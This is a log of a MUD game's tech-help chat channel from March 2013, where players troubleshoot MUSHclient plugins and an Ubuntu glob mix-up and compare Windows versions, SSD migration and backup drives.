T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: uhhhhh
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: hmm
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: send me your plugin
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Brainfreezeo Tech: did you try uninstalling the mini window 
T3/r7/2013-03-18.txt.gz:{chan ch=tech}BobTheGreat Tech: yes
T3/r7/2013-03-18.txt.gz:{chan ch=tech}BobTheGreat Tech: (Fiendish: Did you get my tell? I'm not sure if it went through)
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: no
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Brainfreezeo Tech: which plugins are connected to main window that disappeared i wonder? Might try reinstalling all of them at once
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: no plugins are connected to the main window except for aard_layout.xml
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: for now try disabling the aard main layout plugin
T3/r7/2013-03-18.txt.gz:{chan ch=tech}BobTheGreat Tech: It's disabled.
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: and can you see?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}BobTheGreat Tech: yeah
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: and if you re-enable it?
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: bob, your miniwindow just fills your whole screen
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Tech: BobTheGreat goes, "Hmmmm."
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: change the color from black to red and you'll see it easier
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: and of course you don't have a provision for hiding the miniwindow on plugin uninstall or disable, so it never goes away :)
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: (until you restart mushclient)
T3/r7/2013-03-18.txt.gz:{chan ch=tech}BobTheGreat Tech: I expected the miniwindow to self-destruct on plugin uninstall. Guess I was wrong
T3/r7/2013-03-18.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: yup, wrong
T3/r7/2013-03-18.txt.gz:{chan ch=tech}Tech: heh, I guess that's why it's a good idea to make plugins by copying someone else's plugin file and adjusting to fit your purpose...my miniwin plugins do disappear when the plugin is removed/disabled, but simply cuz I'd copypasta'd the functions without paying much attention, rather than because I'd actually thought about it ;-)
T3/r7/2013-03-19.txt.gz:{chan ch=tech}BobTheGreat Tech: Are there currently any widgets for non-colored editable text in a miniwindow, or am I just going to have to roll out my own?
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Leinei Tech: editable how?
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Tech: MUSHclient doesn't have a mechanism for typing into a MW
T3/r7/2013-03-19.txt.gz:{chan ch=tech}BobTheGreat Tech: 1-line edit/multiline is fine
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Tech: you could have an alias like "addline *"
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Havvoc Tech: can u can and paste if your playing from bbssh?
T3/r7/2013-03-19.txt.gz:{chan ch=tech}RedRain Tech: inventory nolonger showing level of item at end of each line... what did I do?
T3/r7/2013-03-19.txt.gz:{chan ch=tech}RedRain Tech: Noobjlevels ... there it is
T3/r7/2013-03-19.txt.gz:{chan ch=tech}BobTheGreat Tech: He's just rabbitting
T3/r7/2013-03-19.txt.gz:{chan ch=tech}BobTheGreat Tech: mis
T3/r7/2013-03-19.txt.gz:{chan ch=tech}BobTheGreat Tech: I only hit it once
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Mushambo Tech: If I buy a Dell shipping with W7, but WITHOUT media...it'll be hard/impossible to switch it over to an SSD I'm buying separately?
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Laughing Airmeith Tech: difficult, yes
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Vonliege Tech: last Dell I bought my wife was near impossible to switch to ANYTHING... proprietary thru and thru
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Mushambo Tech: what if I get an W7 Ultimate Upgrade disc (academic discount)...If I installed that "over" Premium, I could switch the boot drive?
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Laughing Airmeith Tech: dunno if that can be used for new installs or not
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Mushambo Tech: Ahh switching the drive itself might not be considered upgrade? bah
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Laughing Airmeith Tech: newegg still had win7 ult oem discs a couple weeks ago
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Trachx Tech: wait, if you get Dell with W7, why don't you just get CD/DVD with it ?
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Mushambo Tech: Dunno, their website explicitly says "No Media" 
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Trachx Tech: don't buy directly from dell
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Mushambo Tech: Probably one of those stupid recovery partitions?
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Laughing Airmeith Tech: yeah, it's a recovery partition
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Trachx Tech: buy from one of resellers, you have more choices (like media) and usually they are cheaper
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Mushambo Tech: Durn, the academic "discount" for W7 Ultimate OEM is still like 180 ... so no one knows if using an upgrade disc from Premium to Ultimate (which is like $25) would allow me to switch the entire installation over to an SSD ?
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Trachx Tech: but cannot you just use acronis to move to SSD ?
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Mushambo Tech: Oh I hadn't considered acronis...the SSD i'm looking at is only 256GB though, different size...
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Trachx Tech: still, you can probably move at least recovery partition
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Laughing Airmeith Tech: won't work unless the drive has the exact same characteristics
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Trachx Tech: anyway, if you plan to buy dell you should buy with all desired options, hardware upgrade with dell is a bit painful
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Trachx Tech: also, if it is dekstop you should prefer Optiplex than Vostro 
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Trachx Tech: for acronis, why it won't work? recovery partition is rather small and he should copy only that partition + MBR
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Mushambo Tech: Installing the SSD would be hard? Why? Optiplex has slots, is it the way they wire teh inside?
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Eutychus Tech: Shouldnt matter, you can use a mounting bracket and get a longer SATA cable.
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Trachx Tech: if you plan to buy dell you should take also their 5 year NBD warranty, if you plan to take shorter like 2 year, maybe you should consider just building your own PC
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Mushambo Tech: For my old man...doesnt trust my abilities haha
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Trachx Tech: IMO Dell with short warranty is not worth its price
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Soltair Tech: quick question, I'm looking for a free client for my friend who is interested in giving aardwolf a try. Not familiar with any Mac clients myself.  Any recommedations for someone brand new to mudding?
T3/r7/2013-03-19.txt.gz:{chan ch=tech}WarPigs Tech: Does the font look atrocious on this site to anybody else? http://projects.gnome.org/gnumeric/
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Looks fine to me
T3/r7/2013-03-19.txt.gz:{chan ch=tech}WarPigs Tech: What browser?
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Chrome
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Silent Noro Tech: looks fine to me in opera, chrome, Firefox. 
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: and fine on FF too
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Which means it should look fine in IE 10 too, since it's fully standards compliant.
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: No idea about pre-10 though, it ain't worth booting IE for the first time on this PC to look :P
T3/r7/2013-03-19.txt.gz:{chan ch=tech}WarPigs Tech: It looks like nearest-neighbor scaling in FF 19 for me. :/
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: font-family: "Liberation Sans", sans-serif;
T3/r7/2013-03-19.txt.gz:{chan ch=tech}WarPigs Tech: I'm assuming the Gnumeric page isn't supposed to look like this... http://wikisend.com/download/590438/gnumeric.PNG
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: use imgur.com next time
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: you don't have the font installed so it's a fallback
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: and they have only one font defined :\
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Frostpaw Tech: I always go with several font options if i design something
T3/r7/2013-03-19.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Good point, but you didn't design that.
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Frostpaw Tech: nodnod
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: the fallback fonts on linux tend to be horrid
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: usually because they're as free as possible
T3/r7/2013-03-19.txt.gz:{chan ch=tech}WarPigs Tech: I'm running XP.
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Tigernuts Tech: - 5
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Tigernuts Tech: good choice
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir pats Tigernuts on his head.
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Tech: Tigernuts has just 'pfft'ed you! How disgusting!
T3/r7/2013-03-19.txt.gz:{chan ch=tech}[Deputy] Trurien Tech: Hey, don't pfft ME.
T3/r7/2013-03-19.txt.gz:{chan ch=tech}WarPigs Tech: I'll live with my missing font. XP lives for about another year.
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Tigernuts Tech: i pfft'd Fagnir, not you :-)
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Tech: Frostpaw goes 'pfft' at [Deputy] Trurien and covers him with globs of spittle!
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Turie Tech: Tiger's butts need some loving from XP.
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i wish xp was dead already so i could stop supporting it
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Tigernuts Tech: nobody forces you to support it
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Turie Tech: XP is a good OS.
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Frostpaw Tech: 7 is better nowadays :P so
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: my clients do because they don't want to buy new licenses
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Tigernuts Tech: damned expensive
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Fatal FrostBite Tech: don't get 8... nothing supports it yet...
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Tech: Fatal FrostBite mutters something quietly to himself.
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Tigernuts Tech: and superbly inconvenient
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Noegel Tech: Windows 8 will be the best in a few years... but by then some new fangled OS will be out
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i can buy licenses for 7 for microsofts in-house prices
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Turie Tech: Win 8 full is not bad.
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: so 20 euros a pop
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Fatal FrostBite Tech: I have windows 8 pro... I had to rip apart the registry to get my vpn client to work... and mapping network drives is a nightmare!
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: windows 8 has potential if they kill metro with sp1
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: + fix some other things. it's mainly the ui tho
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Riddim Tech: They always do
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Riddim Tech: I mean, always fix stuff up reasonably with SP1
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: yeah, but 8 has some fundamental design problems
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Fatal FrostBite Tech: they have a release date for that yet?
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Tech: Fatal FrostBite smirks.
T3/r7/2013-03-19.txt.gz:{chan ch=tech}WarPigs Tech: If I had Windows 8, I'd probably install Classic Shell.
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: 7 has been awesome since the public beta
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Frostpaw Tech: q1 2014 probably :P
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Tech: Fatal FrostBite flashes a mischievous grin at Frostpaw.  Hmm. is it time to run and hide?
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Tigernuts Tech: not fond of 7, too slow
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Riddim Tech: Windows 8 was  rebranded Vista
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Riddim Tech: err, 7
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: 7 is way faster than xp on new hardware
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Tigernuts Tech: the install i use at work is effing horrid
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: not only rebranded. 7 is what vista was supposed to be
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Turie Tech: How long till Java dies?
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Tigernuts Tech: it won't
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i have aero and all visual effects turned off. windows classic look. snappy as hell
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Frostpaw Tech: when the internet dies
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Vonliege Tech: my vinyl records sound WAY better than CDs....  that doesn't mean that I play them in my car, though.
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Riddim Tech: Were there any significant differences between Windows 7 at release and Windows Vista SP2? I didn't use either of them enough to notice besides small differences in skin
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: explorer was more polished, new taskbar. that's about it, i guess
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: most new stuff was under the hood
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i can't stand xp any more. explorer sucks. can't use quick search from start menu (winkey+appname+enter). taskbar sucks. can't snap windows. startup/shutdown/sleep/hibernate is slower than 7
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Tigernuts Tech: fibber
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Atoam Tech: Am I the only one who sets keyboard shortcuts for launching applications??
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i use winkey+number combos as well
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i have pretty much everything on the taskbar
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Riddim Tech: Idon't launch programs regularly enough to bother with with shortcuts for them
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Frostpaw Tech: yeah, I pin my stuff on the taskbar too, pretty fun :P
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i never close applications anyway
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: 15 windows open on the taskbar right now
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Thunderax Tech: anyone know if xterm is allowed in manor objects?
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Jhav Tech: It is.
T3/r7/2013-03-19.txt.gz:{chan ch=tech}Thunderax Tech: thanks :)
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Daloran Tech: Any reccomendations for a SSH client for win7?
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: putty
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Daloran Tech: Thanks Vak
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Also WinSCP for other protocols
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Daloran Tech: Thanks
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Grager Tech: accidently moved one pluginwindow up on my screen so i can only see half of it any ideas on how i can get it down ? 
T3/r7/2013-03-20.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: ctrl + what is search on a site?
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Nuanse Tech: ctrl+f
T3/r7/2013-03-20.txt.gz:{chan ch=tech}[Deputy] Sabertooth Tech: thanks
T3/r7/2013-03-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: ms paint full screen shows a nice a4. at the drawing board everything is nice. print preview adds a big empty space on the left side? why? ... when trying to print it in win photo viewer, it looks nice on the normal view but when trying to print it, it gets rotated??? the file is bmp.
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Nuanse Tech: have you checked your print settings?
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Leinei Tech: I'd check page setup in whatever program you're printing from, and make sure you have correct page size and orientation.
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Your first issue is using ms paint. Download something like GIMP, or PSE if you like, and deal in absolutes via canvas size
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Nuanse Tech: then what is his second issue? :)
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: win photo viewer
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: But seriously, the concept of 'first issue' is akin to 'root problem' - you have a first one, which cascades. Often solving the first, root problem eliminates the 2nd, 3rd through nth problem.
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Nuanse Tech: true. and I agree with the problem 
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Nuanse Tech: and there is good amount of "GIMP for noobz" documentation out there so learning curve shouldnt be too high..
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: the learning curve for GIMP is in the power of GIMP to do more than just adjust canvas size. If you can adjust canvas size in MS paint, you can do so in GIMP with little to no learning curve encountered at all
T3/r7/2013-03-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: yep. paint is bad.. also photo viewer. did you know that it saves your rotated pic without confirmation? thats the rudest thing ever
T3/r7/2013-03-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i use paint.net from now on:)
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Photoshop is the way to go - no need for other programs
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: GIMP if you prefer free
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Nuanse Tech: yeah, I knew photoviewer does automatic save on rotate
T3/r7/2013-03-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: i have no words...
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Nuanse Tech: then you should download openoffice ;)
T3/r7/2013-03-20.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: irfan view worked nicely this time:)
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Any reason why using ? as a single char wildcard in Ubuntu would prevent something like ls from working correctly?
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Elkore Tech: a single ? would display all single letter filenames
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I'm trying 'ls log?' as there are numbered, 1 digit logs, and named, multi-char logs also. I could always use grep, but I don't see why ls wouldn't work (not that experienced with Ubuntu)
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Laughing Airmeith Tech: try ls log* IIRC
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Elkore Tech: man bash and search for "pattern matching"
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: the * will get all of them, the ? restricts the wildcard to 1 char... I think
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I know how to use a regex to do the same :-) Just curious now
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Ranrr Tech: It's not a regexp, it's called a glob pattern
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Elkore Tech: nodanrr
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The * is glob, is isn't it?
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Elkore Tech: hmm, that didnt work
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Ranrr Tech: yup
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Laughing Airmeith Tech: yes, but so is ?
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Ranrr Tech: What are you trying to do, Vak?
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: So is there any reason why 'ls log?' wouldn't yield a file named log2 ?
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Elkore Tech: it should list log2
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Ranrr Tech: Yes, it should (and it does, just tried it)
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Elkore Tech: it actually depends which shell you are currently using, assuming its bash
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Mye Tech: you sure the file doesn't have an extension?
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: ubuntu server
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Ranrr Tech: tech Ok, try /bin/ls instead of just ls, same?
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Elkore Tech: you can also try echo log?
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Hehe... not an extension, but I just saw they are actually .log# :-P
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Ranrr Tech: Well, that explains it :D
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Laughing Airmeith Tech: that MIGHT explain it, yes :D
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Ranrr Tech: BTW, for future reference, files starting with dot are "hidden" and won't show up on a non-specific glob match (or without the -a flag on a regular ls)
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Yeah, at some point I got annoyed by that whole thing, and followed some tutorial on having -a by default
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: For ls, I mean
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: And now is comes back to bite me in the ass :-P
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: it*
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Ranrr Tech: It should only be used for config files and directories, definitely not for logs and stuff.
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Ranrr Tech: imho
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The log# files are meta logs, though it isn't something I've written
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I'd be inclined to call them blahblah.log, coming from Windows
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Ranrr Tech: It is ok to use file extensions in *nix too, just not mandatory :D
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Sure you'll have a chuckle, I found out what ^s and ^q do earlier tonight :-) Funny, *after* I found out what had happened
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Ranrr Tech: We are all newbies once :P
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Ranrr Tech: At least!
T3/r7/2013-03-20.txt.gz:{chan ch=tech}QpVsXp ChRiS Tech: i are nOObie
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Loshai Tech: Anyone know of a decent area repop plugin
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Medieval Jameson Tech: how do i disable a screen saver on windows 8?
T3/r7/2013-03-20.txt.gz:{chan ch=tech}The River Styx Tech: same as on windows 7
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Medieval Jameson Tech: i punch the screen and problem solved?
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Dfury Tech: somewhere in personalization settings... throwing it against the wall would disable it too
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Medieval Jameson Tech: don't know if it went through, but i threw it against the wall now the screen doesn't work
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Vonliege Tech: I'm having a hard time with the 'wait' syntax on the 'mapper cexit' command.  I've tried 'mapper cexit wait 5 enter portal', mapper cexit enter portal;
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Ontuct Tech: I think it is mapper cexit_wait time, then the cexit on next line
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Vonliege Tech: NM.. I see it now
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Vonliege Tech: yes... that's exactly it, ontuct thanks
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Ontuct Tech: then probably a set it back to 2 so it doesn't drive you mad lol
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Vonliege Tech: my trouble is that I thought it would be an EXTRA argument for a single CEXIT command... not a permenant change to the setting
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Vonliege Tech: was reading through general forum.. The post 
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Vonliege Tech: was reading through general forum.. The post "Tyebald: Re: campaign completion message " triggered someting in my Bast CP window.. don't work now.
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Ixle Tech: What doesn't work now? The cp window?
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Vonliege Tech: was reading through general forum.. The post "Tyebald: Re: campaign completion message " triggered someting in my Bast CP window.. don't work now.
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: quick easy solution is to just close mush and reopen. You can also restart the offending plugin, which could be any one of the Bast chains from the broadcaster to the driver plugin to the miniwin wrapper
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Vonliege Tech: oops... sorry bout that
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Ixle Tech: Perhaps just doing a 'cp check' would fix it.
T3/r7/2013-03-20.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: well, i would assume it thinks you're not on a campaign anymore
T3/r7/2013-03-20.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: since it saw the completion message
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: be careful fixing with cp check if you are using statDB - very easy to pollute that db with invalid data
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Vonliege Tech: theres a way to invoke the window.. was told it once, but foregt...
T3/r7/2013-03-20.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: so if "don't work now" means the mob list isn't showing, then it's working fine as far as i can tell
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: file->plugins?
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Vonliege Tech: I tried a re-install.. didn't work.. will try restarting the client now...
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Probably didn't install the particular Bast plugin with the issue - for every window you see, there are 3 involved plugins at a minimum
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Vonliege Tech: restarting the client didn't kickstart it... going to the web page
T3/r7/2013-03-20.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: you're probably not going to be able to kickstart it
T3/r7/2013-03-20.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: it thinks you're not on a cp, it probably won't start working again until you take a new cp
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Vonliege Tech: here's what worked:  'mcp CP toggle'
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Vonliege Tech: just needed to tell it to who the window
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Vonliege Tech: who = show
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Kalsch Tech: anyone have any suggestions for a new hard drive that will solely be used for backing up my file system / files?
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Trachx Tech: WD/Seagate with 5 year warranty
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Kalsch Tech: any particular series in either of those?
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Anadorr Tech: amazon glacier for long-term reliable vital data backup
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Hanslanda Tech: can't really go wrong with those two, so I'd just buy as big as your hardware can take and your pocketbook is comfortable with.
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Anadorr Tech: ordinary cloud services for other stuff
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Getsuko Tech: Glacier is a big pain in the butt though.  If you are going to upload a lot of data, you have to be *very* careful not to download too much at a time or it will cost a fortune
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Trachx Tech: also for security reasons you should consider encrypting your backup with True Crypt
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Trachx Tech: for proffesional use it may be worth considering using SED HDD drives (though that is rather expensive)
T3/r7/2013-03-20.txt.gz:{chan ch=tech}Dupian Tech: can anyone suggest a simple inventory plugin for mushclient?
